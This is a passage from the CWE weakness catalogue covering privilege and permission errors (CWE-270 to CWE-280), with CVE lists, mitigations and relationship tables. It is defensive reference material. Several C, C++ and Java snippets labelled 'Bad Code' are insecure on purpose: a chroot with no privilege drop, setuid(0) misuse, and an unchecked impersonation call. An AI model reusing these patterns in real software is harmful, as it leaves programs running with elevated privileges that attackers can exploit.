The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

# CWE-270: Privilege Context Switching Error

Weakness ID: 270 (Weakness Base) Status: Draft

## Description

### Summary

The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

##### Gain privileges / assume identity

A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.

### Observed Examples

Reference	Description
CVE-2002-1688	Web browser cross domain problem when user hits "back" button.
CVE-2002-1770	Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.
CVE-2003-1026	Web browser cross domain problem when user hits "back" button.
CVE-2005-2263	Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers.

### Potential Mitigations

#### Architecture and Design

##### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Architecture and Design

##### Operation

##### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.270.1]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### Architecture and Design

##### Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		269	Improper Privilege Management		<b>699</b> 477
ChildOf		901	SFP Primary Cluster: Privilege		<b>888</b> 1328
MemberOf		884	CWE Cross-section		<b>884</b> 1319

### Research Gaps

This concept needs more study.



**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Context Switching Error

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
17	Accessing, Modifying or Executing Executable Files	
30	Hijacking a Privileged Thread of Execution	
35	Leverage Executable Code in Non-Executable Files	
236	Catching exception throw/signal from privileged block	

**References**

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft. 2002.

[31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

**CWE-271: Privilege Dropping / Lowering Errors****Weakness ID: 271** (*Weakness Class*)**Status:** Incomplete**Description****Summary**

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

**Extended Description**

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Gain privileges / assume identity**

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

**Access Control****Non-Repudiation****Gain privileges / assume identity****Hide activities**

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

**Likelihood of Exploit**

High

**Demonstrative Examples**

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

**C Example:***Bad Code*

```
chroot(APP_HOME);
chdir("/");
```

```
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

### Observed Examples

Reference	Description
CVE-1999-0813	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.
CVE-1999-1326	FTP server does not drop privileges if a connection is aborted during file transfer.
CVE-2000-0172	Program only uses <code>setuid</code> to drop privileges.
CVE-2000-1213	Program does not drop privileges after acquiring the raw socket.
CVE-2001-0559	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.
CVE-2001-0787	Does not drop privileges in related groups when lowering privileges.
CVE-2001-1029	Does not drop privileges before determining access to certain files.
CVE-2002-0080	Does not drop privileges in related groups when lowering privileges.
CVE-2004-0213	Utility Manager launches <code>winhlp32.exe</code> while running with raised privileges, which allows local users to gain system privileges.
CVE-2004-0806	Setuid program does not drop privileges before executing program specified in an environment variable.
CVE-2004-0828	Setuid program does not drop privileges before processing file specified on command line.
CVE-2004-2070	Service on Windows does not drop privileges before using "view file" option, allowing code execution.
CVE-2004-2504	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

#### Architecture and Design

##### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Architecture and Design

##### Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	265	Privilege / Sandbox Issues	<b>699</b>	469
ChildOf	<b>B</b>	269	Improper Privilege Management	<b>1000</b>	477
ChildOf	<b>C</b>	901	SFP Primary Cluster: Privilege	<b>888</b>	1328

Nature	Type	ID	Name	V	Page
ParentOf	B	272	Least Privilege Violation	699	482
ParentOf	B	273	Improper Check for Dropped Privileges	1000	
PeerOf	B	274	Improper Handling of Insufficient Privileges	699	485
MemberOf	V	884	CWE Cross-section	1000	487
				884	1319

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Dropping / Lowering Errors

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

## CWE-272: Least Privilege Violation

**Weakness ID:** 272 (Weakness Base)

**Status:** Incomplete

### Description

#### Summary

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Confidentiality

#### Gain privileges / assume identity

#### Read application data

#### Read files or directories

An attacker may be able to access resources with the elevated privilege that he should not have been able to access. This is particularly likely in conjunction with another flaw -- e.g., a buffer overflow.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Compare binary / bytecode to application permission manifest

## Dynamic Analysis with automated results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

### Automated Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

### Automated Static Analysis

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Permission Manifest Analysis

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

## Demonstrative Examples

### Example 1:

#### C/C++ Example:

*Bad Code*

```
setuid(0);  
// Do some important stuff  
setuid(old_uid);  
// Do some non privileged stuff.
```

#### Java Example:

*Bad Code*

```
method() {  
    AccessController.doPrivileged(new PrivilegedAction()) {  
        public Object run() {  
            // Insert all code here  
        }  
    };  
}
```

### Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

**C Example:**

Bad Code

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Other Notes**

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.

When a program calls a privileged function, such as `chroot()`, it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		254	Security Features	700	452
ChildOf		271	Privilege Dropping / Lowering Errors	699	480
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	1000	
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	734	1137
ChildOf		901	SFP Primary Cluster: Privilege	844	1297
ChildOf		901	SFP Primary Cluster: Privilege	888	1328

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Least Privilege Violation
CLASP		Failure to drop privileges when reasonable
CERT C Secure Coding	POS02-C	Follow the principle of least privilege
CERT Java Secure Coding	SEC00-J	Do not allow privileged blocks to leak sensitive information across a trust boundary
CERT Java Secure Coding	SEC01-J	Do not allow tainted variables in privileged blocks
Software Fault Patterns	SFP36	Privilege

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	
76	Manipulating Input to File System Calls	

## Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

# CWE-273: Improper Check for Dropped Privileges

**Weakness ID:** 273 (*Weakness Base*)

**Status:** Incomplete

## Description

### Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

### Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

## Time of Introduction

- Architecture and Design
- Implementation
- Operation

## Applicable Platforms

### Languages

- All

## Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

## Common Consequences

### Access Control

#### Gain privileges / assume identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

### Access Control

#### Non-Repudiation

#### Gain privileges / assume identity

#### Hide activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

## Likelihood of Exploit

Medium

## Demonstrative Examples

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

**C/C++ Example:**

Bad Code

```
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    ../
    RevertToSelf()
    ../
}
```

The call to `ImpersonateNamedPipeClient` may fail, but the return value is not checked. If the call fails the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location he does not have access to.

**Observed Examples**

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.

**Potential Mitigations****Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation****High**

Check the results of all functions that return a value and verify that the value is expected.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation**

In Windows, make sure that the process token has the `SeImpersonatePrivilege` (Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

**Background Details**

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
PeerOf		252	Unchecked Return Value	1000	446
ChildOf		271	Privilege Dropping / Lowering Errors	699	480
ChildOf		634	Weaknesses that Affect System Processes	1000	982
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	631	1137
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	734	1143
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	1000	1376
MemberOf		884	CWE Cross-section	888	1319



**Affected Resources**

- System Process

**Causal Nature**

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to check whether privileges were dropped successfully
CERT C Secure Coding	POS37-C	Ensure that privilege relinquishment is successful
Software Fault Patterns	SFP4	Unchecked Status Condition

## CWE-274: Improper Handling of Insufficient Privileges

Weakness ID: 274 (*Weakness Base*)

Status: Draft

**Description****Summary**

The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Other**

**Other**

**Alter execution logic**

**Observed Examples**

Reference	Description
CVE-2001-1564	System limits are not properly enforced after privileges are dropped.
CVE-2005-1641	Does not give admin sufficient privileges to overcome otherwise legitimate user actions.
CVE-2005-3286	Firewall crashes when it can't read a critical memory block that was protected by a malicious process.

**Weakness Ordinalities**

**Primary** (*where the weakness exists independent of other weaknesses*)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	265	Privilege / Sandbox Issues	<b>699</b>	469
ChildOf	<b>B</b>	269	Improper Privilege Management	1000	477
PeerOf	<b>G</b>	271	Privilege Dropping / Lowering Errors	1000	480
CanAlsoBe	<b>B</b>	280	Improper Handling of Insufficient Permissions or Privileges	1000	495
ChildOf	<b>G</b>	703	Improper Check or Handling of Exceptional Conditions	<b>1000</b>	1102
ChildOf	<b>C</b>	901	SFP Primary Cluster: Privilege	<b>888</b>	1328

**Relationship Notes**

Overlaps dropped privileges, insufficient permissions.

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

**Theoretical Notes**

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

## Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient privileges

## Maintenance Notes

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

# CWE-275: Permission Issues

Category ID: 275 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

## Detection Methods

### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Inter-application Flow Analysis

### Manual Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### Dynamic Analysis with automated results interpretation

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

### Dynamic Analysis with manual results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Host Application Interface Scanner
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer
  - Automated Monitored Execution
  - Forced Path Execution

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Manual Source Code Review (not inspections)
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source

## Automated Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

## Automated Static Analysis

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	264	Permissions, Privileges, and Access Controls	699	468
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
RequiredBy	3	61	UNIX Symbolic Link (Symlink) Following	1000	95
ParentOf	V	276	Incorrect Default Permissions	699	490
ParentOf	V	277	Insecure Inherited Permissions	699	492
ParentOf	V	278	Insecure Preserved Inherited Permissions	699	493
ParentOf	V	279	Incorrect Execution-Assigned Permissions	699	494
ParentOf	B	280	Improper Handling of Insufficient Permissions or Privileges	699	495
ParentOf	B	281	Improper Preservation of Permissions	699	496
RequiredBy	3	426	Untrusted Search Path	1000	729
ParentOf	B	618	Exposed Unsafe ActiveX Method	699	966
ParentOf	3	689	Permission Race Condition During Resource Copy	699	1070
ParentOf	G	732	Incorrect Permission Assignment for Critical Resource	699	1121

## Affected Resources

- File/Directory

## Functional Areas

- File processing, non-specific.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission errors
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

## CWE-276: Incorrect Default Permissions

Weakness ID: 276 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software, upon installation, sets incorrect permissions for an object that exposes it to an unintended actor.

#### Time of Introduction

- Architecture and Design
- Implementation
- Installation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

Read application data

Modify application data

#### Likelihood of Exploit

Medium

#### Detection Methods

##### Automated Static Analysis - Binary / Bytecode

###### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inter-application Flow Analysis

##### Manual Static Analysis - Binary / Bytecode

###### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

##### Dynamic Analysis with automated results interpretation

###### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Web Application Scanner

Web Services Scanner

Database Scanners

##### Dynamic Analysis with manual results interpretation

###### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Host Application Interface Scanner

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Forced Path Execution

## Manual Static Analysis - Source Code

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

## Automated Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

## Automated Static Analysis

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Observed Examples

Reference	Description
CVE-1999-0426	Default permissions of a device allow IP spoofing.
CVE-2001-0497	Insecure permissions for a shared secret key file. Overlaps cryptographic problem.
CVE-2001-1550	World-writable log files allow information loss; world-readable file has cleartext passwords.
CVE-2002-1711	World-readable directory.
CVE-2002-1713	Home directories installed world-readable.
CVE-2002-1844	Windows product uses insecure permissions when installing on Solaris (genesis: port error).
CVE-2005-1941	Executables installed world-writable.

## Potential Mitigations

### Architecture and Design

#### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Architecture and Design

#### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.






Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	Page
ChildOf		275	Permission Issues	 699 488

Nature	Type	ID	Name	✓	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	<b>1000</b>	1121
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		946	SFP Secondary Cluster: Insecure Resource Permissions	<b>888</b>	1371

**Causal Nature****Implicit****Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insecure Default Permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions
CERT Java Secure Coding	FIO01-J	Create files with appropriate access permission
CERT C++ Secure Coding	FIO06-CPP	Create files with appropriate access permissions

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
19	Embedding Scripts within Scripts	
81	Web Logs Tampering	
127	Directory Indexing	
169	Footprinting	

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Insecure Defaults", Page 69.. 1st Edition. Addison Wesley. 2006.

**CWE-277: Insecure Inherited Permissions****Weakness ID:** 277 (*Weakness Variant*)**Status:** Draft**Description****Summary**

A product defines a set of insecure permissions that are inherited by objects that are created by the program.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read application data****Modify application data****Observed Examples**

Reference	Description
CVE-2002-1786	Insecure umask for core dumps [is the umask preserved or assigned?].
CVE-2005-1841	User's umask is used when creating temp files.

**Potential Mitigations****Architecture and Design****Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.




**Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		275	Permission Issues	699	488
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1000	1121
ChildOf		946	SFP Secondary Cluster: Insecure Resource Permissions	888	1371

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure inherited permissions

**CWE-278: Insecure Preserved Inherited Permissions****Weakness ID:** 278 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

**Time of Introduction**

- Architecture and Design
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity****Read application data****Modify application data****Observed Examples**

Reference	Description
CVE-2005-1724	Does not obey specified permissions when exporting.

**Potential Mitigations****Architecture and Design****Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.



**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	699	488
ChildOf	G	732	Incorrect Permission Assignment for Critical Resource	1000	1121
ChildOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1371

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure preserved inherited permissions

**CWE-279: Incorrect Execution-Assigned Permissions**

Weakness ID: 279 (Weakness Variant)

Status: Draft

**Description****Summary**

While it is executing, the software sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.

**Time of Introduction**

- Architecture and Design
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Integrity**

Read application data

Modify application data

**Observed Examples**

Reference	Description
CVE-2002-0265	Log files opened read/write.
CVE-2002-1694	Log files opened read/write.
CVE-2003-0876	Log files opened read/write.

**Potential Mitigations****Architecture and Design****Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	699	488
ChildOf	G	732	Incorrect Permission Assignment for Critical Resource	1000	1121
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	946	SFP Secondary Cluster: Insecure Resource Permissions	<b>888</b>	1371

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insecure execution-assigned permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions
CERT Java Secure Coding	FIO01-J	Create files with appropriate access permission
CERT C++ Secure Coding	FIO06-CPP	Create files with appropriate access permissions

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
19	Embedding Scripts within Scripts	
81	Web Logs Tampering	

## CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID: 280 (Weakness Base)

Status: Draft

### Description

#### Summary

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

